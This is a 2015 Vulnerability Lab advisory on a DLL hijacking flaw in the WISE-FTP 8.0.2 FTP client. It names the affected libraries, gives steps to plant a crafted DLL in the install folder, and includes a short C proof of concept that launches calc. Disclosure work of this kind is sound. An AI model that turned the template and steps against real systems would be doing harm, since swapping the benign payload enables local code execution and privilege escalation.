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WISE-FTP Software v8.0.2 - DLL Hijacking Vulnerability


From: Vulnerability Lab <research () vulnerability-lab com>
Date: Wed, 20 May 2015 11:11:44 +0200

Document Title:
===============
WISE-FTP Software v8.0.2 - DLL Hijacking Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1498


Release Date:
=============
2015-05-18


Vulnerability Laboratory ID (VL-ID):
====================================
1498


Common Vulnerability Scoring System:
====================================
6


Product & Service Introduction:
===============================
WISE-FTP is a FTP client - a software that allows you to connect to any FTP server and download both files and 
directories up-. With WISE-FTP allows you 
to transfer your files quickly and easily, without requiring detailed knowledge of the functioning of FTP (File 
Transfer Protocol) are required.

(Copy of the Vendor Homepage: http://www.wise-ftp.de/highlights.htm )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local dll hijacking vulnerability in the official 
Wise-FTP v8.0.2 software.


Vulnerability Disclosure Timeline:
==================================
2015-05-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
AceBIT GmbH 
Product: Wise-FTP Software 8.0.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official Wise-FTP v8.0.2 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or to gain higher 
access privileges.

The windows software is vulnerable to dll hijacking attacks. The vulnerability is located in the Linkinfo.dll , mpr.dll 
, netutils.dll , secur32.dll , 
wkscli.dll file extensions.  The software does not specify the fully qualified path to a dynamic-linked libraries 
(Linkinfo.dll , mpr.dll , netutils.dll , 
secur32.dll , wkscli.dll).  The vulnerable version affects the Wise-FTP v8.0.2 software. The security risk of the local 
file include vulnerability is estimated 
as high with a cvss (common vulnerability scoring system) count of 6.0. 

Vulnerable Software:
[+] Wise-FTP

Vulnerable Version(s):
[+] v8.02

Vulnerable Libraries:
[+] Linkinfo.dll
[+] mpr.dll
[+] netutils.dll
[+] secur32.dll 
[+] wkscli.dll 


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user 
interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to 
continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to Linkinfo.dll or mpr.dll
2. Copy Linkinfo.dll to C:\Program Files\AceBIT\WISE-FTP 8
3. Launch WISE-FTP 8

PoC: DLL Hijack Exploit
/*
#include <windows.h>
int alpdaemon()
{
  WinExec("calc", SW_SHOW);
  exit(0);
  return 0;
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  alpdaemon();
  return 0;
}

Video: https://www.youtube.com/watch?v=51OOoJbd8ms


Security Risk:
==============
The security risk of the local dll inject web vulnerability in the wise ftp software is estimated as high. (CVSS 6.0)


Credits & Authors:
==================
metacom


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all 
warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or 
its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special 
damages, even if Vulnerability-Lab 
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limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody 
to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

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